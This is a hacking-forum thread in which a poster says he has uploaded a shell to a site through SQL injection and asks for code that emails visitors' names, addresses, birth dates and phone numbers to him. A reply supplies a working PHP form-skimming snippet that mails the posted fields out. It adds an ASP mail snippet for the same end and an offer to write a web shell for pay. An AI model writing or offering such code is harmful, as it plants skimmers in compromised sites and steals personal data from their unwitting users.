Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[HELP]mail function-- sql injection -shell upload

Hello,
explain : user query on website : submit offer , affiliate in cluded infomation i need like name , address , dob , phone number etc,
i'm uploaded shell now i want edit or creat new function get infomation i want from victim and sent to my mail after user complete form or submit task
sorry about my bad english, im glad explain any question if anyone understand what i say
have nice day, thanks for reading !!!
PHP Code

<?php

$name 
= $_POST['name'];

$address = $_POST['address'];

$dob = $_POST['dob'];

$phone = $_POST['phone'];


$msg = $name."-----".$address."-----".$dob."-----".$phone;


$msg = wordwrap($msg,sizeof($msg));


mail("[email protected]","Form info",$msg);
?>

Put this script below the form, and input the right form id's.
(May 10, 2019 12:09 PM)Nexium Wrote:  
PHP Code

<?php

$name 
= $_POST['name'];

$address = $_POST['address'];

$dob = $_POST['dob'];

$phone = $_POST['phone'];


$msg = $name."-----".$address."-----".$dob."-----".$phone;


$msg = wordwrap($msg,sizeof($msg));


mail("[email protected]","Form info",$msg);
?>

Put this script below the form, and input the right form id's.

god, thanks for fast reply. im trying.

sorry, this site build from asp language
Does it run php also.
If not then:
Then just catch the POST or GET requests with asp.


For asp try this function with asp.
Code
<%
Set myMail = CreateObject("CDO.Message")
myMail.Subject = "Sending email with CDO"
myMail.From = "[email protected]"
myMail.To = "[email protected]"
myMail.TextBody = "This is a message."
myMail.Send
set myMail = nothing
%>
(May 10, 2019 12:45 PM)Nexium Wrote:  Does it run php also.
If not then:
Then just catch the POST or GET requests with asp.


For asp try this function with asp.
Code
<%
Set myMail = CreateObject("CDO.Message")
myMail.Subject = "Sending email with CDO"
myMail.From = "[email protected]"
myMail.To = "[email protected]"
myMail.TextBody = "This is a message."
myMail.Send
set myMail = nothing
%>
this site run asp only. i think i need time to find where i can put this script and more...
thanks again
If you got $$$$ i can code you a shell that suits your needs.
Maybe i will code a shell in asp tonight and put it here on HF.
No problem mate.
not enough post. can you pm me your contact ?
icq or skype is good


Possibly Related Threads...
Thread / Author Replies Views Last Post
by poision-v1p3RApr 18, 2017 12:35 AM 37 2,378 Apr 18, 2017 12:35 AM
Last Post: Malicious Intent
by dark_angel1Apr 8, 2017 09:27 PM 1 244 Apr 8, 2017 09:27 PM
Last Post: dark_angel1
by HaxOr❤Jul 8, 2016 01:28 AM 91 6,343 Jul 8, 2016 01:28 AM
Last Post: Shinzawai